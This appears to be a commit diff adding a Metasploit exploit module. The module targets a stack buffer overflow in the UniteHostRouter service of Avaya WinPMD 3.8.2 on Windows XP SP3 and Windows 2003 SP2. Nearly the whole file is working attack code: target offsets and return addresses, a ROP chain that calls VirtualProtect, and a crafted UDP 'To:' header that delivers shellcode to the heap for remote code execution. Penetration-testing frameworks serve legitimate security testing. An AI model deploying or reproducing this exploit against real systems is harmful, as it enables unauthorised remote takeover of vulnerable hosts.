|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Udp |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability |
| 20 | + exists in the UniteHostRouter service, due to the insecure usage of memcpy when |
| 21 | + parsing specially crafted "To:" headers. The module has been tested successfully on |
| 22 | + Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Abdul-Aziz Hariri', # Vulnerability discovery |
| 27 | + 'Abysssec', # PoC |
| 28 | + 'juan vazquez' # Metasploit module |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['OSVDB', '82764'], |
| 33 | + ['OSVDB', '73269'], |
| 34 | + ['BID', '47947'], |
| 35 | + ['EDB', '18397'], |
| 36 | + ['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'], |
| 37 | + ['URL', 'http://secunia.com/advisories/44062'] |
| 38 | + ], |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f", |
| 42 | + 'Space' => 1024, |
| 43 | + 'DisableNops' => true |
| 44 | + }, |
| 45 | + 'Platform' => 'win', |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['Avaya WinPMD 3.8.2 / Windows XP SP3', |
| 49 | + { |
| 50 | + 'Offset' => 260, |
| 51 | + 'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt |
| 52 | + } |
| 53 | + ], |
| 54 | + ['Avaya WinPMD 3.8.2 / Windows 2003 SP2', |
| 55 | + { |
| 56 | + 'Offset' => 260, |
| 57 | + 'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE |
| 58 | + } |
| 59 | + ] |
| 60 | + ], |
| 61 | + 'Privileged' => true, |
| 62 | + 'DisclosureDate' => 'May 23 2011', |
| 63 | + 'DefaultTarget' => 0 |
| 64 | + )) |
| 65 | + |
| 66 | + register_options([ Opt::RPORT(3217) ], self.class) |
| 67 | + end |
| 68 | + |
| 69 | + def junk(n=4) |
| 70 | + return rand_text_alpha(n).unpack("V")[0].to_i |
| 71 | + end |
| 72 | + |
| 73 | + def nop |
| 74 | + return make_nops(4).unpack("V")[0].to_i |
| 75 | + end |
| 76 | + |
| 77 | + def exploit |
| 78 | + connect_udp |
| 79 | + |
| 80 | + if target.name =~ /Windows XP SP3/ |
| 81 | + buf = "\xeb\x7f" # jmp short $+0x81 |
| 82 | + buf << rand_text(0x81 - 2) |
| 83 | + buf << "\xeb\x7f" # jmp short $+0x81 |
| 84 | + buf << rand_text(0x81 - 2) |
| 85 | + buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap |
| 86 | + buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap |
| 87 | + buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt |
| 88 | + buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position |
| 89 | + buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap |
| 90 | + elsif target.name =~ /Windows 2003 SP2/ |
| 91 | + rop_gadgets = |
| 92 | + [ |
| 93 | + 0x77bb2563, # POP EAX # RETN |
| 94 | + 0x77ba1114, # <- *&VirtualProtect() |
| 95 | + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN |
| 96 | + junk, |
| 97 | + 0x77bb0c86, # XCHG EAX,ESI # RETN |
| 98 | + 0x77bc9801, # POP EBP # RETN |
| 99 | + 0x77be2265, # ptr to 'push esp # ret' |
| 100 | + 0x77bb2563, # POP EAX # RETN |
| 101 | + 0x03C0990F, |
| 102 | + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) |
| 103 | + 0x77bb48d3, # POP EBX, RET |
| 104 | + 0x77bf21e0, # .data |
| 105 | + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN |
| 106 | + 0x77bbfc02, # POP ECX # RETN |
| 107 | + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) |
| 108 | + 0x77bd8c04, # POP EDI # RETN |
| 109 | + 0x77bd8c05, # ROP NOP (-> edi) |
| 110 | + 0x77bb2563, # POP EAX # RETN |
| 111 | + 0x03c0984f, |
| 112 | + 0x77bdd441, # SUB EAX, 03c0940f |
| 113 | + 0x77bb8285, # XCHG EAX,EDX # RETN |
| 114 | + 0x77bb2563, # POP EAX # RETN |
| 115 | + nop, |
| 116 | + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN |
| 117 | + ].pack("V*") |
| 118 | + buf = rand_text(3) # padding |
| 119 | + buf << rop_gadgets |
| 120 | + buf << "\xeb\x7f" # jmp $+0x81 |
| 121 | + buf << rand_text(0x81-2) |
| 122 | + buf << "\xeb\x25" # jmp short $+0x66 => to shellcode |
| 123 | + buf << rand_text(target['Offset'] - buf.length) |
| 124 | + buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap |
| 125 | + end |
| 126 | + |
| 127 | + request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n" |
| 128 | + |
| 129 | + if target.name =~ /Windows 2003 SP2/ |
| 130 | + request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 |
| 131 | + end |
| 132 | + |
| 133 | + request << payload.encoded # The shellcode will be stored in the heap |
| 134 | + |
| 135 | + print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...") |
| 136 | + udp_sock.put(request) |
| 137 | + disconnect_udp |
| 138 | + end |
| 139 | + |
| 140 | +end |
0 commit comments